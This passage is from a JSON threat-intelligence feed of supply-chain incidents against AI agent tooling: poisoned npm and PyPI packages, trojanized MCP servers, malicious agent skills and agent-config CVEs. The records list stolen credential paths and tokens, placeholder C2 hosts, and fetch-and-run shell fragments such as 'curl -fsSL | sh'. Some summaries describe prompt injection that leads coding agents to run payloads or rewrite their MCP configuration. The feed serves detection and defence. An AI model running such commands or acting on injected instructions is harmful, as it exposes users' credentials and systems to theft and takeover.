{ "feed_version": "3.0.0", "version": 9, "expires": "2026-10-29T22:55:36Z", "key_id": "tc-ed25519-2026-02", "generated_at": "2026-10-26T22:55:36Z", "license": "CC-BY-4.0", "pubkey_url": "https://threat.cafe/pubkey.pem", "signature_url": "https://threat.cafe/feed.json.sig", "sqlite_url": "https://threat.cafe/api/v1/feed-sqlite.php", "record_count": 74, "known_bad_count": 62, "no_known_bad_count": 12, "vocabulary": [ "known_bad", "no_known_bad", "unknown" ], "vulnerabilities": [ { "schema_version": "1.6.0", "id": "TC-2026-0001", "modified": "2026-03-31T08:15:00Z", "published": "2026-03-31T08:15:00Z", "summary": "Compromised maintainer account published 1.14.1 and 0.30.4 with malicious dependency plain-crypto-js@4.2.1, dropping a cross-platform RAT during postinstall.", "affected": [ { "package": { "ecosystem": "npm", "name": "axios" }, "versions": [ "1.14.1" ] } ], "credits": [ { "name": "StepSecurity", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://www.stepsecurity.io/blog/axios-compromised-on-npm-malicious-versions-drop-remote-access-trojan" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0001/" } ], "database_specific": { "target": "npm:axios@1.14.1", "kind": "package", "verdict": "known_bad", "ioc": "npm:axios@1.14.1 -> plain-crypto-js@4.2.1", "artifact_sha256": "4a46306d026ef92d56126874b6c40ac01fc1f4059654fbb0b31b7d746a0b52aa", "owasp_asi": [ "ASI02", "ASI04" ], "owasp_ast": [ "AST01", "AST03" ], "rules_matched": [ "RULE_04_INSTALL_LIFECYCLE_HOOK", "RULE_05_PROMPT_EXFIL_SHELL", "RULE_06_RELEASE_AGE_GATE" ], "abom": { "fs_sensitive": [ "~/.ssh/id_rsa", "~/.aws/credentials" ], "env_harvest": [ "NPM_TOKEN", "GITHUB_TOKEN", "AWS_SECRET_ACCESS_KEY" ], "net_egress": [ "plain-crypto-js-c2.invalid:443" ], "proc_exec": [ "node postinstall.js", "child_process.spawn" ], "install_hooks": [ "postinstall" ], "oauth_scopes": [], "obfuscation": [], "provenance": "hijacked_maintainer_no_slsa" }, "license": "CC-BY-4.0", "record_digest": "sha256:10627bb5760d2bb466d6d3bddeb7bf9db7f93c3afc6da950498082823904c83c", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0002", "modified": "2026-02-14T12:00:00Z", "published": "2026-02-14T12:00:00Z", "summary": "Part of the 341-skill ClawHavoc campaign on ClawHub. Instructs the coding agent via SKILL.md to fetch and execute a fake driver that installs Atomic macOS Stealer (AMOS).", "affected": [ { "package": { "ecosystem": "clawhub", "name": "zaycv/summarlze" }, "versions": [ "1.0.2" ] } ], "credits": [ { "name": "Koi Security", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://thehackernews.com/2026/02/researchers-find-341-malicious-clawhub.html" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0002/" } ], "database_specific": { "target": "clawhub:zaycv/summarlze", "kind": "skill", "verdict": "known_bad", "ioc": "clawhub:zaycv/summarlze (+340 skills)", "artifact_sha256": "f0ba5c527e2da99e02d73f148262a7365a351df91805d0417758cc6496c56274", "owasp_asi": [ "ASI01", "ASI02", "ASI04" ], "owasp_ast": [ "AST01", "AST02" ], "rules_matched": [ "RULE_02_PROMPT_OVERRIDE", "RULE_05_PROMPT_EXFIL_SHELL" ], "abom": { "fs_sensitive": [ "~/Library/Keychains/login.keychain-db", "~/.ssh/*" ], "env_harvest": [ "OPENAI_API_KEY", "ANTHROPIC_API_KEY" ], "net_egress": [ "clawhavoc-driver-cdn.invalid:443" ], "proc_exec": [ "curl -fsSL | sh", "osascript" ], "install_hooks": [], "oauth_scopes": [], "obfuscation": [ "base64_shell_wrapper" ], "provenance": "unverified_publisher" }, "license": "CC-BY-4.0", "record_digest": "sha256:f04c07af974c720cd527e0e1c2963a2c25750ff2d7c696be1715206e6917f2fd", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0003", "modified": "2026-03-19T14:30:00Z", "published": "2026-03-19T14:30:00Z", "summary": "GlassWorm campaign clone of WaterCrawl MCP server embedding invisible Unicode Variation Selectors (U+FE00-U+FE0F) decoded via eval() and Solana memo C2 dead-drops.", "affected": [ { "package": { "ecosystem": "npm", "name": "@iflow-mcp/watercrawl-watercrawl-mcp" }, "versions": [ "1.3.4" ] } ], "credits": [ { "name": "Koi Security", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://thehackernews.com/2026/03/glassworm-malware-uses-solana-dead.html" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0003/" } ], "database_specific": { "target": "npm:@iflow-mcp/watercrawl-watercrawl-mcp@1.3.4", "kind": "mcp", "verdict": "known_bad", "ioc": "npm:@iflow-mcp/watercrawl-watercrawl-mcp@1.3.4", "artifact_sha256": "d89fba4e79c99d635f1013ad05b6f4ee03ee6a9ddab2e87c9aeab20a2f72a484", "owasp_asi": [ "ASI02", "ASI04", "ASI05" ], "owasp_ast": [ "AST01", "AST04" ], "rules_matched": [ "RULE_01_GLASSWORM_UNICODE", "RULE_05_PROMPT_EXFIL_SHELL" ], "abom": { "fs_sensitive": [ "~/.cursor/mcp.json", "~/.claude.json", "~/.gitconfig" ], "env_harvest": [ "process.env.*" ], "net_egress": [ "api.mainnet-beta.solana.com:443" ], "proc_exec": [ "eval(Buffer.from(...))" ], "install_hooks": [], "oauth_scopes": [], "obfuscation": [ "unicode_variation_selectors_fe00_fe0f", "invisible_zero_width_joiner" ], "provenance": "typosquat_clone" }, "license": "CC-BY-4.0", "record_digest": "sha256:ea874bb6ce2f5f7bdc630e9f72ac4cfca165bcf64f8148a26dec4703c9de71f2", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0004", "modified": "2026-03-24T19:45:00Z", "published": "2026-03-24T19:45:00Z", "summary": "PyPI releases 1.82.7 and 1.82.8 contained litellm_init.pth executing on every Python interpreter startup to harvest SSH keys, .env files, and cloud credentials.", "affected": [ { "package": { "ecosystem": "pypi", "name": "litellm" }, "versions": [ "1.82.8" ] } ], "credits": [ { "name": "FutureSearch", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://futuresearch.ai/blog/litellm-pypi-supply-chain-attack/" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0004/" } ], "database_specific": { "target": "pypi:litellm==1.82.8", "kind": "package", "verdict": "known_bad", "ioc": "pypi:litellm==1.82.7, 1.82.8 (litellm_init.pth)", "artifact_sha256": "070c69563ae21a6869928f41d5a5963ef0fbeabc2e0f217259b15a682f6eddbe", "owasp_asi": [ "ASI03", "ASI04", "ASI05" ], "owasp_ast": [ "AST01", "AST03" ], "rules_matched": [ "RULE_03_PTH_STARTUP_PERSISTENCE", "RULE_05_PROMPT_EXFIL_SHELL" ], "abom": { "fs_sensitive": [ "~/.ssh/id_ed25519", "~/.aws/credentials", "~/.kube/config", ".env" ], "env_harvest": [ "OPENAI_API_KEY", "AWS_SECRET_ACCESS_KEY", "GCP_SERVICE_ACCOUNT" ], "net_egress": [ "telemetry-litellm-cdn.invalid:443" ], "proc_exec": [ "site-packages/litellm_init.pth", "subprocess.Popen" ], "install_hooks": [ ".pth_startup_autorun" ], "oauth_scopes": [], "obfuscation": [ "zlib_base64_marshal" ], "provenance": "stolen_pypi_token_team_pcp" }, "license": "CC-BY-4.0", "record_digest": "sha256:eaed3d56edd1def83d9f77b0041a5eee8f1bdb78fde8cf6b521dda6645a5dd9b", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0005", "modified": "2026-02-22T16:10:00Z", "published": "2026-02-22T16:10:00Z", "summary": "SEO-poisoned GitHub repositories impersonating OpenClaw installers. Ranked in AI search answers and delivered Vidar, GhostSocks, and AMOS infostealers.", "affected": [ { "package": { "ecosystem": "gh", "name": "openclaw-ai/openclaw-installer" }, "versions": [ "main" ] } ], "credits": [ { "name": "Huntress", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://www.huntress.com/blog/openclaw-github-ghostsocks-infostealer" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0005/" } ], "database_specific": { "target": "gh:openclaw-ai/openclaw-installer", "kind": "lure", "verdict": "known_bad", "ioc": "gh:openclaw-ai/openclaw-installer", "artifact_sha256": "5aaeeb565d172a18ddc8979f6f300fa5dab9b39e451845d3d059be26be982c46", "owasp_asi": [ "ASI01", "ASI04" ], "owasp_ast": [ "AST02", "AST06" ], "rules_matched": [ "RULE_05_PROMPT_EXFIL_SHELL", "RULE_06_RELEASE_AGE_GATE" ], "abom": { "fs_sensitive": [ "~/.config/google-chrome", "~/Library/Application Support/BraveSoftware", "~/.ssh/*" ], "env_harvest": [ "GITHUB_TOKEN", "AWS_ACCESS_KEY_ID" ], "net_egress": [ "ghostsocks-relay.invalid:8443" ], "proc_exec": [ "curl -sL | bash", "powershell -ep bypass" ], "install_hooks": [], "oauth_scopes": [], "obfuscation": [], "provenance": "impersonator_github_org" }, "license": "CC-BY-4.0", "record_digest": "sha256:3c382f0c4cf64d6e05ee8c1f55b2d86b5ac889bd8543c00db638a7ef9ed6ff5c", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0006", "modified": "2026-02-18T11:20:00Z", "published": "2026-02-18T11:20:00Z", "summary": "Trojanized clone of the Oura Ring MCP server using fake GitHub stars to distribute SmartLoader and StealC infostealer payloads to developer endpoints.", "affected": [ { "package": { "ecosystem": "mcp", "name": "oura-mcp" }, "versions": [ "1.0.4" ] } ], "credits": [ { "name": "Straiker STAR Labs", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://www.straiker.ai/blog/smartloader-clones-oura-ring-mcp-to-deploy-supply-chain-attack" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0006/" } ], "database_specific": { "target": "mcp:oura-mcp@1.0.4", "kind": "mcp", "verdict": "known_bad", "ioc": "mcp:oura-mcp@1.0.4 (SmartLoader)", "artifact_sha256": "77729c4e4f81974f8736c28da757115db26cce0cbe5979880239de7b0cbefd83", "owasp_asi": [ "ASI02", "ASI04" ], "owasp_ast": [ "AST01", "AST02" ], "rules_matched": [ "RULE_04_INSTALL_LIFECYCLE_HOOK", "RULE_05_PROMPT_EXFIL_SHELL" ], "abom": { "fs_sensitive": [ "~/.ssh/*", "~/.cursor/mcp.json", "browser_cookies_sqlite" ], "env_harvest": [ "OURA_PERSONAL_ACCESS_TOKEN", "ANTHROPIC_API_KEY" ], "net_egress": [ "stealc-gate.invalid:443" ], "proc_exec": [ "luajit", "child_process.exec" ], "install_hooks": [], "oauth_scopes": [], "obfuscation": [ "smartloader_lua_bytecode" ], "provenance": "fake_stars_sybil_repo" }, "license": "CC-BY-4.0", "record_digest": "sha256:8077391ec4f488b2f69eb1c1360a7e898b297eab3552d72e6221c579c74eb2e5", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2025-0007", "modified": "2025-09-26T09:00:00Z", "published": "2025-09-26T09:00:00Z", "summary": "First documented malicious MCP server in the wild. Version 1.0.16 injected a covert BCC to phan@giftshop.club on every outbound email sent by the agent.", "affected": [ { "package": { "ecosystem": "npm", "name": "postmark-mcp" }, "versions": [ "1.0.16" ] } ], "credits": [ { "name": "Koi Security", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://thehackernews.com/2025/09/first-malicious-mcp-server-found.html" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2025-0007/" } ], "database_specific": { "target": "npm:postmark-mcp@1.0.16", "kind": "mcp", "verdict": "known_bad", "ioc": "npm:postmark-mcp@1.0.16", "artifact_sha256": "c73826f56331d2570e158c426f629025d825a9e380aff447214d9bb997dd904e", "owasp_asi": [ "ASI02", "ASI04" ], "owasp_ast": [ "AST01", "AST04" ], "rules_matched": [ "RULE_08_DESC_BEHAVIOR_MISMATCH" ], "abom": { "fs_sensitive": [], "env_harvest": [ "POSTMARK_SERVER_TOKEN" ], "net_egress": [ "api.postmarkapp.com (covert BCC -> phan@giftshop.club)" ], "proc_exec": [], "install_hooks": [], "oauth_scopes": [ "email:send" ], "obfuscation": [], "provenance": "unpinned_npm_publish" }, "license": "CC-BY-4.0", "record_digest": "sha256:d768c698f30a40b7a80647d1404f1edf23c8b38ce31cf95892e82c20fb45aa55", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0008", "modified": "2026-04-11T15:00:00Z", "published": "2026-04-11T15:00:00Z", "summary": "CVE-2026-23744 (CVSS 9.8): binds 0.0.0.0:6274 without authentication token validation, permitting drive-by browser tabs or LAN peers to execute arbitrary STDIO commands.", "affected": [ { "package": { "ecosystem": "npm", "name": "@mcpjam/inspector" }, "versions": [ "0.4.2" ] } ], "credits": [ { "name": "NVD / GitHub Security Advisory", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23744" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0008/" } ], "database_specific": { "target": "npm:@mcpjam/inspector@0.4.2", "kind": "mcp", "verdict": "known_bad", "ioc": "npm:@mcpjam/inspector@0.4.2 (CVE-2026-23744)", "artifact_sha256": "e9b46edd64b560763da64740363525e59bbad5dd72e7b3b447c54ffe63a47f7d", "owasp_asi": [ "ASI02", "ASI05" ], "owasp_ast": [ "AST02", "AST03" ], "rules_matched": [ "CONFIG_02_LOCALHOST_NO_AUTH" ], "abom": { "fs_sensitive": [], "env_harvest": [], "net_egress": [ "0.0.0.0:6274 (unauthenticated listener)" ], "proc_exec": [ "child_process.spawn (arbitrary MCP stdio transport)" ], "install_hooks": [], "oauth_scopes": [], "obfuscation": [], "provenance": "vulnerable_release_cve_2026_23744" }, "license": "CC-BY-4.0", "record_digest": "sha256:13f9008d55329108a915c27fe5800a4f2e83a2ce54d542824c122d58d43b6f4c", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0009", "modified": "2026-04-18T10:30:00Z", "published": "2026-04-18T10:30:00Z", "summary": "CVE-2026-4496: passes unsanitized git ref and branch strings directly into shell execution, enabling RCE when an agent inspects an untrusted repository.", "affected": [ { "package": { "ecosystem": "npm", "name": "git-mcp-server" }, "versions": [ "1.1.0" ] } ], "credits": [ { "name": "NVD / GitHub Security Advisory", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4496" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0009/" } ], "database_specific": { "target": "npm:git-mcp-server@1.1.0", "kind": "mcp", "verdict": "known_bad", "ioc": "npm:git-mcp-server@1.1.0 (CVE-2026-4496)", "artifact_sha256": "4eac93eb4f00f4e077eff75d0f8f86f3275ff68235d68bbfd8cba031b67f152e", "owasp_asi": [ "ASI01", "ASI02", "ASI05" ], "owasp_ast": [ "AST02", "AST05" ], "rules_matched": [ "RULE_05_PROMPT_EXFIL_SHELL" ], "abom": { "fs_sensitive": [ ".git/config", ".git/hooks/*" ], "env_harvest": [], "net_egress": [], "proc_exec": [ "execSync('git checkout ' + ref)" ], "install_hooks": [], "oauth_scopes": [], "obfuscation": [], "provenance": "vulnerable_release_cve_2026_4496" }, "license": "CC-BY-4.0", "record_digest": "sha256:7bdfc782cdf35107e5ba6200867a1760affcb02ae1a4a24ab8485bd3b948dfd6", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0010", "modified": "2026-05-02T17:00:00Z", "published": "2026-05-02T17:00:00Z", "summary": "CVE-2026-33017 (CISA KEV): unauthenticated remote code execution via /api/v1/validate/code AST execution in agent workflow definitions.", "affected": [ { "package": { "ecosystem": "pypi", "name": "langflow" }, "versions": [ "1.0.14" ] } ], "credits": [ { "name": "CISA KEV / Horizon3.ai", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0010/" } ], "database_specific": { "target": "pypi:langflow==1.0.14", "kind": "package", "verdict": "known_bad", "ioc": "pypi:langflow==1.0.14 (CVE-2026-33017)", "artifact_sha256": "a52f3f1b72586c4936a250a42bdaecedf182cb4703f9a4a582ded8c75096c0c8", "owasp_asi": [ "ASI02", "ASI05" ], "owasp_ast": [ "AST02", "AST03" ], "rules_matched": [ "RULE_05_PROMPT_EXFIL_SHELL" ], "abom": { "fs_sensitive": [], "env_harvest": [ "OPENAI_API_KEY", "LANGFLOW_SUPERUSER_PASSWORD" ], "net_egress": [ "0.0.0.0:7860 (/api/v1/validate/code)" ], "proc_exec": [ "exec(compiled_ast)" ], "install_hooks": [], "oauth_scopes": [], "obfuscation": [], "provenance": "vulnerable_release_cisa_kev" }, "license": "CC-BY-4.0", "record_digest": "sha256:37cc62c6d9648826f9815ccad4cba08bebe8fcc408dfb5c9027159f97be4bb55", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0011", "modified": "2026-03-31T08:20:00Z", "published": "2026-03-31T08:20:00Z", "summary": "Backported 0.x branch of the March 31, 2026 axios maintainer account compromise pulling plain-crypto-js@4.2.1 RAT.", "affected": [ { "package": { "ecosystem": "npm", "name": "axios" }, "versions": [ "0.30.4" ] } ], "credits": [ { "name": "StepSecurity", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://www.stepsecurity.io/blog/axios-compromised-on-npm-malicious-versions-drop-remote-access-trojan" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0011/" } ], "database_specific": { "target": "npm:axios@0.30.4", "kind": "package", "verdict": "known_bad", "ioc": "npm:axios@0.30.4 -> plain-crypto-js@4.2.1", "artifact_sha256": "82bc07b4060322137f885ed7262fafb4a56013521e166fc68d74bd976aa6c644", "owasp_asi": [ "ASI02", "ASI04" ], "owasp_ast": [ "AST01", "AST03" ], "rules_matched": [ "RULE_04_INSTALL_LIFECYCLE_HOOK", "RULE_06_RELEASE_AGE_GATE" ], "abom": { "fs_sensitive": [ "~/.ssh/id_rsa", "~/.aws/credentials" ], "env_harvest": [ "NPM_TOKEN", "GITHUB_TOKEN" ], "net_egress": [ "plain-crypto-js-c2.invalid:443" ], "proc_exec": [ "node postinstall.js" ], "install_hooks": [ "postinstall" ], "oauth_scopes": [], "obfuscation": [], "provenance": "hijacked_maintainer_no_slsa" }, "license": "CC-BY-4.0", "record_digest": "sha256:978b3a816c293345b8c9d32dbcb8fa57896136be5739ca20a80f15c47acbf457", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0012", "modified": "2026-03-31T08:25:00Z", "published": "2026-03-31T08:25:00Z", "summary": "Malicious dependency injected into axios@1.14.1 and axios@0.30.4; executes a cross-platform remote access trojan via postinstall script.", "affected": [ { "package": { "ecosystem": "npm", "name": "plain-crypto-js" }, "versions": [ "4.2.1" ] } ], "credits": [ { "name": "StepSecurity / Socket", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://www.stepsecurity.io/blog/axios-compromised-on-npm-malicious-versions-drop-remote-access-trojan" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0012/" } ], "database_specific": { "target": "npm:plain-crypto-js@4.2.1", "kind": "package", "verdict": "known_bad", "ioc": "npm:plain-crypto-js@4.2.1", "artifact_sha256": "8dfbd72a31e34af902ee9a95e52eeb66b126187c5811f1ad40430a90fe743055", "owasp_asi": [ "ASI04", "ASI05" ], "owasp_ast": [ "AST01", "AST03" ], "rules_matched": [ "RULE_04_INSTALL_LIFECYCLE_HOOK", "RULE_05_PROMPT_EXFIL_SHELL", "RULE_06_RELEASE_AGE_GATE" ], "abom": { "fs_sensitive": [ "~/.ssh/*", "~/.aws/*" ], "env_harvest": [ "process.env.*" ], "net_egress": [ "plain-crypto-js-c2.invalid:443" ], "proc_exec": [ "node postinstall.js" ], "install_hooks": [ "postinstall" ], "oauth_scopes": [], "obfuscation": [ "xor_hex_payload" ], "provenance": "attacker_staged_package" }, "license": "CC-BY-4.0", "record_digest": "sha256:eff1edf6597fd26ab411173e1d0e7f4ab77b0dff3b6c689082d64b84a6fc1865", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0013", "modified": "2026-03-24T19:40:00Z", "published": "2026-03-24T19:40:00Z", "summary": "First poisoned PyPI release in the March 24, 2026 TeamPCP LiteLLM attack; drops litellm_init.pth startup credential harvester.", "affected": [ { "package": { "ecosystem": "pypi", "name": "litellm" }, "versions": [ "1.82.7" ] } ], "credits": [ { "name": "FutureSearch", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://futuresearch.ai/blog/litellm-pypi-supply-chain-attack/" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0013/" } ], "database_specific": { "target": "pypi:litellm==1.82.7", "kind": "package", "verdict": "known_bad", "ioc": "pypi:litellm==1.82.7 (litellm_init.pth)", "artifact_sha256": "91c782571344b014933e818156daff0d7286af54b04ffc54b0619227c14f678c", "owasp_asi": [ "ASI03", "ASI04", "ASI05" ], "owasp_ast": [ "AST01", "AST03" ], "rules_matched": [ "RULE_03_PTH_STARTUP_PERSISTENCE", "RULE_05_PROMPT_EXFIL_SHELL" ], "abom": { "fs_sensitive": [ "~/.ssh/*", "~/.aws/credentials", ".env" ], "env_harvest": [ "OPENAI_API_KEY", "ANTHROPIC_API_KEY", "AWS_SECRET_ACCESS_KEY" ], "net_egress": [ "telemetry-litellm-cdn.invalid:443" ], "proc_exec": [ "site-packages/litellm_init.pth" ], "install_hooks": [ ".pth_startup_autorun" ], "oauth_scopes": [], "obfuscation": [ "zlib_base64_marshal" ], "provenance": "stolen_pypi_token_team_pcp" }, "license": "CC-BY-4.0", "record_digest": "sha256:c099a701f76c2db0bf46b3be52736f6c45df9b84afbf105389f238331a5a0fee", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2025-0014", "modified": "2025-07-09T14:00:00Z", "published": "2025-07-09T14:00:00Z", "summary": "CVE-2025-6514 (CVSS 9.6, 437K+ downloads): arbitrary OS command execution when connecting to an untrusted remote MCP server returning a crafted authorization_endpoint URL.", "affected": [ { "package": { "ecosystem": "npm", "name": "mcp-remote" }, "versions": [ "0.1.14" ] } ], "credits": [ { "name": "JFrog Security Research", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6514" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2025-0014/" } ], "database_specific": { "target": "npm:mcp-remote@0.1.14", "kind": "mcp", "verdict": "known_bad", "ioc": "npm:mcp-remote@0.1.14 (CVE-2025-6514)", "artifact_sha256": "2a9df6b31fe4ca1d0389d4d97d9137a819b2416c0fb38cc7c3efc0d77af9376e", "owasp_asi": [ "ASI02", "ASI04", "ASI05" ], "owasp_ast": [ "AST02", "AST04" ], "rules_matched": [ "RULE_05_PROMPT_EXFIL_SHELL", "CONFIG_03_UNPINNED_NPX_UVX" ], "abom": { "fs_sensitive": [], "env_harvest": [], "net_egress": [ "remote_mcp_oauth_discovery" ], "proc_exec": [ "open(authorization_endpoint) -> shell command injection on Windows/macOS" ], "install_hooks": [], "oauth_scopes": [ "oauth2:dynamic_client_registration" ], "obfuscation": [], "provenance": "vulnerable_release_cve_2025_6514" }, "license": "CC-BY-4.0", "record_digest": "sha256:c61506b9ba715ab33a0ddb2b40a8733dfde050c8b76b8d134aa980b8b56ca580", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2025-0015", "modified": "2025-06-30T11:00:00Z", "published": "2025-06-30T11:00:00Z", "summary": "CVE-2025-49596 (CVSS 9.4): unauthenticated localhost proxy in Official MCP Inspector allows DNS rebinding / CSRF from any web page to spawn arbitrary STDIO processes.", "affected": [ { "package": { "ecosystem": "npm", "name": "@modelcontextprotocol/inspector" }, "versions": [ "0.14.0" ] } ], "credits": [ { "name": "Oligo Security", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-49596" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2025-0015/" } ], "database_specific": { "target": "npm:@modelcontextprotocol/inspector@0.14.0", "kind": "mcp", "verdict": "known_bad", "ioc": "npm:@modelcontextprotocol/inspector@0.14.0 (CVE-2025-49596)", "artifact_sha256": "d072036f36b75cd1f2cee891ef48e0733e8e40846e08e5833bd438aca40c0c6e", "owasp_asi": [ "ASI02", "ASI05" ], "owasp_ast": [ "AST02", "AST03" ], "rules_matched": [ "CONFIG_02_LOCALHOST_NO_AUTH" ], "abom": { "fs_sensitive": [], "env_harvest": [], "net_egress": [ "127.0.0.1:6277 (/sse, /message without session token prior to 0.14.1)" ], "proc_exec": [ "spawn(req.query.command, req.query.args)" ], "install_hooks": [], "oauth_scopes": [], "obfuscation": [], "provenance": "vulnerable_release_cve_2025_49596" }, "license": "CC-BY-4.0", "record_digest": "sha256:a8706a1fab098fa878c7aceefdf925ef259027076b92dea98031532bf9ebe2d6", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2025-0016", "modified": "2025-10-15T13:00:00Z", "published": "2025-10-15T13:00:00Z", "summary": "CVE-2025-59536 (CVSS 8.7): repository-level .claude/settings.json hooks and .mcp.json servers executed automatically on workspace open prior to trust prompt enforcement.", "affected": [ { "package": { "ecosystem": "gh", "name": "anthropics/claude-code" }, "versions": [ "1.0.38" ] } ], "credits": [ { "name": "Check Point Research", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59536" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2025-0016/" } ], "database_specific": { "target": "gh:anthropics/claude-code@1.0.38", "kind": "package", "verdict": "known_bad", "ioc": "gh:anthropics/claude-code@1.0.38 (CVE-2025-59536)", "artifact_sha256": "0b2680932ce1fd9de3cd57400c35d377780953d97c4f723661e757d61557c8aa", "owasp_asi": [ "ASI01", "ASI02", "ASI05" ], "owasp_ast": [ "AST02", "AST05" ], "rules_matched": [ "CONFIG_05_REPO_HOOK_RCE" ], "abom": { "fs_sensitive": [ ".claude/settings.json", ".mcp.json" ], "env_harvest": [], "net_egress": [], "proc_exec": [ "PreToolUse/PostToolUse shell command on clone" ], "install_hooks": [], "oauth_scopes": [], "obfuscation": [], "provenance": "vulnerable_release_cve_2025_59536" }, "license": "CC-BY-4.0", "record_digest": "sha256:bdbf71c56cf33edd60bcc3f78f146add53abd57b91dc0b86abff4316cbb13e0a", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0017", "modified": "2026-01-28T16:00:00Z", "published": "2026-01-28T16:00:00Z", "summary": "CVE-2026-21852 (CVSS 5.3): repository .claude/settings.json could override ANTHROPIC_BASE_URL before trust confirmation, exfiltrating ANTHROPIC_API_KEY and workspace prompts to an attacker proxy.", "affected": [ { "package": { "ecosystem": "gh", "name": "anthropics/claude-code" }, "versions": [ "1.0.52" ] } ], "credits": [ { "name": "Check Point Research", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21852" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0017/" } ], "database_specific": { "target": "gh:anthropics/claude-code@1.0.52", "kind": "package", "verdict": "known_bad", "ioc": "gh:anthropics/claude-code@1.0.52 (CVE-2026-21852)", "artifact_sha256": "77849796fe9a14738b232f24922c21926d1835256017df014e66556b63022b29", "owasp_asi": [ "ASI03", "ASI04" ], "owasp_ast": [ "AST02", "AST04" ], "rules_matched": [ "CONFIG_05_REPO_HOOK_RCE" ], "abom": { "fs_sensitive": [ ".claude/settings.json" ], "env_harvest": [ "ANTHROPIC_API_KEY", "ANTHROPIC_BASE_URL" ], "net_egress": [ "attacker-anthropic-proxy.invalid:443" ], "proc_exec": [], "install_hooks": [], "oauth_scopes": [], "obfuscation": [], "provenance": "vulnerable_release_cve_2026_21852" }, "license": "CC-BY-4.0", "record_digest": "sha256:3fb0a80a3c5ae0a2c75d354304754a3c296c2b9f4b83082376407e63613fdf5e", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2025-0018", "modified": "2025-08-05T10:00:00Z", "published": "2025-08-05T10:00:00Z", "summary": "CVE-2025-54135 (CurXecute, CVSS 8.6): indirect prompt injection from external MCP server or untrusted file overwrites ~/.cursor/mcp.json, triggering immediate host RCE.", "affected": [ { "package": { "ecosystem": "vscode", "name": "anysphere.cursor" }, "versions": [ "1.2.0" ] } ], "credits": [ { "name": "Aim Security", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54135" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2025-0018/" } ], "database_specific": { "target": "vscode:anysphere.cursor@1.2.0", "kind": "package", "verdict": "known_bad", "ioc": "vscode:anysphere.cursor@1.2.0 (CVE-2025-54135 CurXecute)", "artifact_sha256": "d407186813e255df75157f2c930e9d327aca1d61ad8eb63161c152c095abc2a4", "owasp_asi": [ "ASI01", "ASI02", "ASI05" ], "owasp_ast": [ "AST02", "AST05" ], "rules_matched": [ 